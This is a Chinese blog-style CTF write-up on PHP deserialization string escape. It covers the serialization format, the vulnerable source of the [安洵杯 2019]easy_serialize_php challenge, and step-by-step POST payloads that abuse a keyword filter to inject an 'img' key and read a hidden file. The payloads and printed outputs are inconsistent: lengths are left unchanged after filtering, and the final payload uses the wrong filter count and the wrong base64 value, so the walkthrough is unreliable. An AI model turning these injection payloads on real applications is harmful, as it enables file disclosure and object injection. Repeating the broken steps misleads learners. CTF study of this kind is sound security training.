PHP反序列化字符串逃逸

PHP反序列化字符串逃逸

前言

​ PHP反序列化字符串逃逸是一种利用PHP反序列化机制中字符串处理特性的漏洞,通过精心构造的序列化数据来改变反序列化的结构,可能导致对象注入或其他安全问题。

​ PHP的反序列化机制在解析序列化字符串时,会按照特定格式解析。当存在字符串替换或过滤操作时,可能导致序列化字符串的结构被破坏或改变,从而引发安全问题。

介绍

序列化后的字符串的查看,详见PHP的序列化与反序列化

例如

a:3:{s:4:"name";s:6:"张三";s:3:"age";i:25;s:8:"is_admin";b:0;}

PHP序列化字符串由类型标识符和值组成:

  • a - array(数组)
  • b - boolean(布尔值)
  • d - double(浮点数)
  • i - integer(整数)
  • o - object(对象)
  • s - string(字符串)
  • N - null(空值)

这些数据分别表示:

  • a:3 - 有3个元素的数组
  • s:4:"name" - 键是长度为4的字符串"name"
  • s:6:"张三" - 值是长度为6的字符串"张三"
  • i:25 - 整数25
  • b:0 - 布尔值false

s:4:"name"中发生某种变化导致‘4’和‘name’不对应时(当然这里是对应的,‘name’字符串的长度就是4),如果变成了s:8:"name";s:6:"张三";s:3……这里8和‘name’就对应不上了,当反序列化的时候呢,就会认为这个字符串为 name“;s:

正常的序列化字符串进行反序列化

echo var_dump(unserialize('O:4:"test":3:{s:2:"id";s:1:"1";s:4:"user";s:5:"admin";s:4:"pass";s:5:"admin";}'));

输出:
object(__PHP_Incomplete_Class)#1 (4) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "test"
  ["id"]=>
  string(1) "1"
  ["user"]=>
  string(5) "admin"
  ["pass"]=>
  string(5) "admin"
}

当对序列化字符串进行修改后

如这里我们在用户名处后添加数据 admin";s:4:"pass";s:6:"hacked";}
而之后的 ";s:4:"pass";s:5:"admin";} 则会被忽略

echo var_dump(unserialize('O:4:"test":3:{s:2:"id";s:1:"1";s:4:"user";s:5:"admin";s:4:"pass";s:6:"hacked";}";s:4:"pass";s:5:"admin";}'));

输出:
object(__PHP_Incomplete_Class)#1 (4) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "test"
  ["id"]=>
  string(1) "1"
  ["user"]=>
  string(5) "admin"
  ["pass"]=>
  string(6) "hacked"
}

细讲

这里我们以[安洵杯 2019]easy_serialize_php为例


$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    echo preg_replace($filter,'',$img);       //添加此行以便调试
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo 'source_code';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

?>

我们已知

  • 存在可疑的文件d0g3_f1ag.php
  • 传入参数中如果存在’php’,‘flag’,‘php5’,‘php4’,‘fl1g’,会直接删除
  • 可以通过Post传参’SESSION[user]‘,’_SESSION[function]'对序列化字符串进行修改

测试一下,当我们通过Post传入参数_SESSION[user]=flag&_SESSION[function]=1111,会输出

a:3:{s:4:"user";s:4:"";s:8:"function";s:4:"1111";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

当我们传入_SESSION[user]=flag时,会输出

a:2:{s:4:"user";s:4:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

此时,序列化字符串中表示

user=";s:

这时,序列化中的字符长度和实际字符串长度不对应,就会存在字符串逃逸。

根据审计本题代码,要想得到flag,我们需要构造出

{………………;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
ZDBnM19mMWFnLnBocA==是‘d0g3_f1ag.php’通过base64加密后的结果

可以上传参数

_SESSION[user]=flag&_SESSION[function]=a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
输出
a:3:{s:4:"user";s:4:"";s:8:"function";s:42:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

根据先前测试,由于无法对序列化字符串直接进行修改,我们可以理解为可以通过传入flag会被过滤删除这一特性,导致出现序列化中的字符长度和实际字符串长度不对应的情况,所以我们应该让";s:8:"function";s:42:"a被user“吃掉”,成为它的值

首先计算出它的长度

>>> len('";s:8:"function";s:42:"a')
24

长度是24,也就是说我们需要让序列化字符串中代表user长度的数字变成24,这里我们可以通过传入6个flag字符串来达成目的

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
输出:
a:3:{s:4:"user";s:4:"";s:8:"function";s:42:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

补充说明:这里我们给SESSION[function]赋的值中,可能会对a”有疑问,这里我这样理解,先传入引号是为了和前面的引号闭合,避免报错,而输入a单纯是为了后面通过输入flag时能过完整的吃掉,使得字符串的长度刚好是4(flag的长度)的倍数

这里为什么没有得到flag呢?

观察前面输出的序列化字符串

a:3:{s:4:"user";s:4:"";s:8:"function";s:42:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

这里我使用图片更直观的解释一下。

PHP反序列化字符串逃逸_第1张图片

现在你发现了什么没?是的,我们序列化字符串开头说明的是,一个有三个变量的数组,可是经过我们一番操作之后只剩下了两个,user和img所以我们还差一个变量

传入:
_SESSION[user]=flag&_SESSION[function]=a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:1:"a";s:1:"b";}
输出a:3:{s:4:"user";s:4:"";s:8:"function";s:58:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:1:"a";s:1:"b";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
a:3:{s:4:"user";s:4:"";s:8:"function";s:58:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:1:"a";s:1:"b";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

此时,我们就能得到flag了

以下是我的一些个人理解,可以帮助大家更好的理解这部分

为了能得到flag,我们需要修改序列化字符串中img的值,但由于题目受限,我们不能直接在内部修改或复制,又因为不能传入img这个参数,所以我们通过传入含有img和它的目标值(就是我们想要构造的值)的序列化字符串来变相的给img这个参数赋值,最后再通过上传被过滤的值,来“吃掉”这些多余的字符串即可。

除此之外还有一个类似的题型,各位大佬可以练一下手[0ctf 2016]unserialize

结语

PHP反序列化字符串逃逸这里开始可能难以理解,可以通过题目进行学习,只要能搞清楚每个参数,每次操作的意义,一定可以彻底掌握这一技巧!

声明

本文章学习自PHP反序列化字符串逃逸,PHP反序列化字符逃逸详解,反序列化之字符串逃逸。
本文章用于记录和分享自己的学习过程,如有错误希望各位大佬及时指出,共勉!

你可能感兴趣的:(php,web安全,学习)